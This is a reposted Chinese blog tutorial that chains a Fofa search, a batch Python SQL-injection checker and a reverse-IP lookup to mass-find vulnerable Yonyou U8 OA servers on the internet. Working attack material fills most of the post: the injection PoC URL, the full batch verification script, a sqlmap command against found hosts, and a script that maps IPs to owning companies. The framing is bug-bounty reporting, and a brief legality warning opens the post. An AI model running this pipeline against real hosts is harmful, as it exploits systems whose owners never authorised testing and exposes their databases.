一條Fofa搜索語法,實現批量挖洞——很好的文章,自己實踐下


一條Fofa搜索語法,實現批量挖洞
Jerrytqq  2021-05-23 14:36:22 83037 4

任何非授權的滲透測試都是違法的,點到為止!

前言

最近在學習如何批量驗證POC,期間也參考了不少文章,於是萌生了整合出一個自動化批量挖洞的想法。

最終實現效果為:僅通過一條Fofa搜索語法,就可以挖出可供提交公益SRC的漏洞

流程包括:

1、前期的信息收集(FOFA)
2、中期的漏洞驗證(Python批量腳本)
3、后期的IP反查(Python批量腳本)

本次采用"用友 U8 OA SQL注入漏洞"來演示整個自動化流程。
這個漏洞的POC很簡單,這里直接附上,詳情需要的話網上有很多。

POC:http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

信息收集

眾所周知,信息收集是滲透測試中最關鍵的環節。

信息收集階段我們的主要目標是:

1、找到網上公開的漏洞POC

2、找出可能存在該漏洞的IP列表

這里我先推薦2個我經常逛的漏洞文庫。

白閣文庫

PeiQi WiKi-POC文庫

文章后續的POC也參考了文庫中的信息。

正文開始

本次采用Fofa搜索引擎來收集可能存在漏洞的IP。

Fofa語句:title="用友U8-OA"

考慮到后續需要把Fofa收集到的IP列表導出給腳本批量驗證,這里使用Github開源工具Fofa-collect
這個工具使用方式很簡單,只需要配置好你的Fofa郵箱和API,就可以直接輸入Fofa語法,得到查詢結果。

我的使用流程如下:

1、在Fofa-collect中輸入Fofa語法 -> 得到IP:PORT列表
image.png
2、導出保存為IP.txt
image.png

至此,信息收集流程結束。

POC批量驗證

POC批量驗證階段我們的主要目標是:

1、編寫或使用POC,找出IP列表中真正存在漏洞的IP

POC批量驗證的腳本在PeiQi文庫的POC基礎上進一步改寫,支持批量導入IP.txt,並導出存在漏洞的URL,保存為urls.txt。

原POC鏈接

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

ip = []  # 用於存放存在漏洞的URL地址


def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公眾號  : PeiQi文庫                                                   \033[0m')
    print('+  \033[34mTitle   : 用友 U8 OA test.jsp SQL注入漏洞                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')


def POC_1(target_url) -> bool:
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        # 漏洞驗證成功的條件
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print("\033[32m[o] 目標 {}存在漏洞 \n[o] 響應地址: {} \033[0m".format(target_url, vuln_url))
            ip.append(vuln_url)
        else:
            print("\033[31m[x] 目標 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目標 {} 請求失敗 \033[0m".format(target_url))


if __name__ == '__main__':
    title()
    with open('ip.txt', 'r', encoding='utf-8') as f:
        g = f.read()
    a = re.findall('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}[:]\d+', g)  # 提取為IP:PORT的形式

    # 逐個驗證IP.txt
    for i in a:
        if 'http' in i:
            target_url = str(i)
        else:
            target_url = 'http://' + str(i)
        print(target_url)
        core_name = POC_1(target_url)

    # 將存在漏洞的URL寫入url.txt
    with open("urls.txt", "w") as f:
        for i in ip:
            if i != '':
                f.write(i + "\n")

    print(ip)  # 最終打印所有存在漏洞的IP

可以看到運行結果中有存在漏洞的URL,並且已經存入了urls.txt
image.png

我們隨便挑選一個URL,用sqlmap跑一下

python sqlmap.py -u "http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))" -p "S1"

可以看到是存在注入點的(再次強調滲透測試點到為止,提交漏洞只需要跑出數據庫名證明漏洞存在,信息安全三要素CIA時刻銘記於心hhh)
image.png

其實文章到這里為止,就可以證明漏洞存在了,但是根據我在漏洞盒子刷公益SRC的經驗來看,SRC漏洞需明確歸屬單位,只有ip或是非明確單位的域名暫不收錄,所以光有IP還不夠,需要我們去把這些存在漏洞的IP,通過IP反查域名,找出域名,再找出域名所屬的單位,這樣才能算得上是一個可以提交的漏洞。(例如你挖出 IP地址 39.156.69.79存在漏洞,但是這樣的漏洞一般不收,你需要去查出這個IP 39.156.69.79對應的域名是baidu.com,而baidu.com背后的單位是百度公司,將IP、域名、公司名稱這些信息一並提交才行)

於是就有了下一個模塊,批量IP反查。

批量IP反查域名

這個階段我們的主要目標是:

1、已知urls.txt中的IP存在漏洞,找出這些IP對應的域名,並找到域名所屬單位

要想批量IP反查域名,找到一個合適的接口是首先要考慮的問題,下面我列出幾個可以IP反查域名的網站:

https://dns.aizhan.com/=
https://www.yougetsignal.com/tools/web-sites-on-web-server/
https://tools.ipip.net/ipdomain.php?ip=

這里我選擇了使用第一個接口https://dns.aizhan.com/=

這部分的代碼完全由我自己編寫。通過Python語言,利用requests包模擬瀏覽器請求,BeautifulSoup包來提取頁面內容,最終得到IP對應的域名。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# @date: 2021/5/16 20:02
# @name: ip反查域名
# @author:h2o0o4

'''
需要注意的問題:
有時候沒有一個IP能反查出域名,可能是因為你的IP被網站ban了,而不是查不出來,試着掛個代理
這個接口有時候會因為你的頻繁訪問而拒絕服務,但是有時候是可以跑出結果的。
'''
import re
import requests
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning

list = []  # 用於存放可以通過IP反查到域名的域名


def searchIP(ip: str):
    ip = re.findall('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}', ip)[0]
    print("IP:{}".format(ip))
    url = "https://dns.aizhan.com/" + ip + "/"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=url, headers=headers, verify=False, timeout=5)
        # title = re.findall("charset=utf-8;<span>(.*?)</span>", response.text)[0]
        # print(response.text)
        soup = BeautifulSoup(response.text, "html.parser")
        for t in soup.find_all('td'):
            a = t.find_all('a')
            if a:
                for j in range(len(a)):
                    url = a[j].attrs['href']
                    print(ip+"反查出的URL:"+url)
                    list.append(ip+":"+url)
    except:
        print("\033[31m[x] 請求錯誤 \033[0m")


if __name__ == '__main__':
    with open('urls.txt', 'r', encoding='utf-8') as f:
        for line in f:
            searchIP(line)


# 寫入文件
with open("result.txt", "w") as f:
    for i in list:
        if i != '':
            f.write(i + "\n")

運行完成后,可以看到result.txt中出現了一些IP對應的域名
image.png

這時候我們只需要去訪問域名,就可以知道這個IP對應的公司。

於是我們就可以拿着這些信息去提交漏洞了!

 

至此,整個流程結束。

可以看到我們通過 一條Fofa語句 和 一個POC ,就可以在短時間內快速找到可以提交公益SRC的漏洞,在拿到新的POC時,僅需替換POC_1()函數,代碼稍加改動,就可以實現另一個漏洞的批量挖掘。

總結

比較遺憾的地方

這個文章里用的POC是我在PeiQi文庫提供的POC基礎上改的,所以說並不是原創,但是這也是一個學習的過程,多看看別人的,慢慢的自己就也能上手寫了,這也標志這我正在從一個腳本小子變成代碼大師(開玩笑)。

為什么不用現有的POC批量工具?

我有了解到POC-T是一個很棒的POC批量驗證工具,同時goby里也支持json格式導入POC驗證模塊,這些都是非常高效且便利的。不過我認為我的學習時間還長,要盡量從基礎學起,這就需要動手寫寫代碼,理解那些工具底層用的什么邏輯。

可能在一些大佬眼里,我這個小項目就是一個縫合怪,不過我認為這是我學習的一個記錄,還希望口下留情。

參考文章

http://wiki.peiqi.tech/PeiQi_Wiki/OA產品漏洞/用友OA/用友%20U8%20OA%20test.jsp%20SQL注入漏洞.html
https://bbs.zkaq.cn/t/5320.html

本項目源碼

https://github.com/h2so0o4/Fuck_SRC


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM